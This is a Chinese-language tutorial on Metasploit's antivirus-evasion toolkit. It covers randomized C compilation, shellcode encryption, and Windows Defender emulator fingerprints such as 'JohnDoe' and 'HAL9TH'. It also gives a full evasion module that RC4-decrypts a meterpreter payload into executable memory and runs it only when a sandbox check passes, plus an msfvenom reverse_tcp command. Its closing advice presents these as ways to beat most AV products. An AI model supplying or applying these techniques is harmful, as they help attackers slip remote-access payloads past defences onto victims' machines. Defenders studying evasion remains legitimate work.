Metasploit框架AV免杀技术深度解析与实战指南

一、Metasploit免杀技术概述

Metasploit团队开发了一套完整的防病毒(AV)免杀技术体系，并将其集成到框架中，主要包含以下核心组件：

1. 定制编译器：基于Metasm Ruby库的C编译器包装器
2. 随机代码生成器：CRandomizer类实现代码混淆
3. 加密算法：支持AES256-CBC、RC4、XOR和Base64等多种加密方式
4. 反仿真功能：检测并绕过沙箱环境
5. 新型模块类型：专门的"evasion"免杀模块类型

二、Metasploit C编译器详解

2.1 编译器架构

Metasploit的C编译器实际上是Metasm Ruby库的包装器，位于：

lib/metasploit/framework/compiler/

支持的头文件包括：

• String.h
• Winsock2.h
• stdio.h
• Windows.h
• stddef.h
• stdlib.h

2.2 核心API

1. 编译为内存：

Metasploit::Framework::Compiler::Windows.compile_c(code)

2. 编译为文件：

Metasploit::Framework::Compiler::Windows.compile_c_to_file(file_path, code)

3. 编译DLL：

Metasploit::Framework::Compiler::Windows.compile_c(code, :dll)

三、代码随机化技术

3.1 CRandomizer类结构

CRandomizer由四个主要部分组成：

1. Code Factory类：存储随机代码存根
2. Modifer类：确定代码注入位置
3. Parser类：解析用户源代码
4. Utility类：提供简化API

3.2 随机化API

1. 随机化编译到内存：

Metasploit::Framework::Compiler::Windows.compile_random_c

2. 随机化编译到文件：

Metasploit::Framework::Compiler::Windows.compile_random_c_to_file

3.3 代码存根开发指南

推荐做法：

• 保持存根代码短小精悍
• 使用@dep属性声明API依赖
• 确保存根代码无害性

避免行为：

• 大量内存分配
• 标记/分配可执行内存
• 循环结构
• 加载被引用的区段或资源
• 反调试API调用
• 大量函数调用
• 独特字符串
• 注册表/文件系统访问
• XOR运算符
• 手写汇编代码
• 恶意软件特有模式

四、Shellcode加密技术

4.1 支持的加密方式

1. AES256-CBC
2. RC4
3. XOR
4. Base64

4.2 使用方法

1. msfvenom命令行：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 --encrypt rc4 --encrypt-key thisisakey -f c

2. Ruby API：

Msf::Simple::Buffer.transform(payload.encoded, 'c', 'buf', format: 'rc4', key: rc4_key)

4.3 C代码示例

1. RC4加密：

#include <rc4.h>

int main(void) {
    RC4(RC4KEY, payload, (char*)lpBuf, PAYLOADSIZE);
    return 0;
}

2. Base64加密：

#include <base64.h>

int main() {
    base64decode(lpBuf, BASE64STR, base64StrLen);
    return 0;
}

3. XOR加密：

#include <Windows.h>
#include <String.h>
#include <xor.h>

int main(int args, char** argv) {
    xor((char*)lpBuf, xorStr, xorKey, strlen(xorStr));
    return 0;
}

五、反仿真技术

5.1 Windows Defender仿真检测

关键发现：

• 某些API在仿真环境中的行为与真实环境不同
• 可以通过检查API返回值差异检测沙箱

5.2 已知仿真特征

1. GetUserNameA返回"JohnDoe"
2. GetComputerNameExA返回"HAL9TH"
3. 虚拟文件系统中的伪配置文件
4. Winsock库字符串以"Mp"开头

5.3 反仿真示例代码

HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
if (proc == NULL) {  // 在仿真环境中会返回NULL
    // 执行真实payload
}

六、免杀模块开发

6.1 模块结构

免杀模块继承自Msf::Evasion类，基本结构：

class MetasploitModule < Msf::Evasion
  def initialize(info = {})
    super(merge_info(info,
      'Name'        => '模块名称',
      'Description' => '模块描述',
      'Author'      => ['作者'],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Arch'        => ARCH_X86,
      'Targets'     => [['Microsoft Windows', {}]]
    ))
  end

  def run
    # 生成免杀代码
  end
end

6.2 完整示例模块

require 'metasploit/framework/compiler/windows'

class MetasploitModule < Msf::Evasion
  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Microsoft Windows Defender Evasive Executable',
      'Description' => '生成可绕过Windows Defender的可执行文件',
      'Author'      => ['sinn3r'],
      'License'     => MSF_LICENSE,
      'Platform'    => 'win',
      'Arch'        => ARCH_X86,
      'Targets'     => [['Microsoft Windows', {}]]
    ))
  end

  def rc4_key
    @rc4_key ||= Rex::Text.rand_text_alpha(32..64)
  end

  def get_payload
    @c_payload ||= lambda {
      opts = {format: 'rc4', key: rc4_key}
      junk = Rex::Text.rand_text(10..1024)
      p = payload.encoded + junk
      return {size: p.length, c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts)}
    }.call
  end

  def c_template
    @c_template ||= %Q|
      #include <Windows.h>
      #include <rc4.h>
      
      #{get_payload[:c_format]}
      
      int main() {
        int lpBufSize = sizeof(int) * #{get_payload[:size]};
        LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040);
        memset(lpBuf, '\\0', lpBufSize);
        
        HANDLE proc = OpenProcess(0x1F0FFF, false, 4);
        if (proc == NULL) {
          RC4("#{rc4_key}", buf, (char*)lpBuf, #{get_payload[:size]});
          void (*func)();
          func = (void(*)())lpBuf;
          (void)(*func)();
        }
        return 0;
      }
    |
  end

  def run
    bin = Metasploit::Framework::Compiler::Windows.compile_random_c(c_template)
    print_status("Compiled executable size: #{bin.length}")
    file_create(bin)
  end
end

七、最佳实践与建议

1. 加密通道：优先使用HTTPS或RC4等加密通道传输payload
2. 随机化：每次生成不同的二进制文件
3. 代码混淆：结合多种混淆技术
4. 环境检测：加入反仿真代码
5. 模块更新：定期检查框架更新，获取最新免杀技术

八、总结

Metasploit的免杀技术体系提供了从代码生成、混淆到加密的完整解决方案。通过合理组合使用：

1. 代码随机化
2. 多层级加密
3. 反仿真检测
4. 模块化设计

可以有效绕过大多数AV产品的检测。安全研究人员应持续关注框架更新，保持对最新防御技术的了解。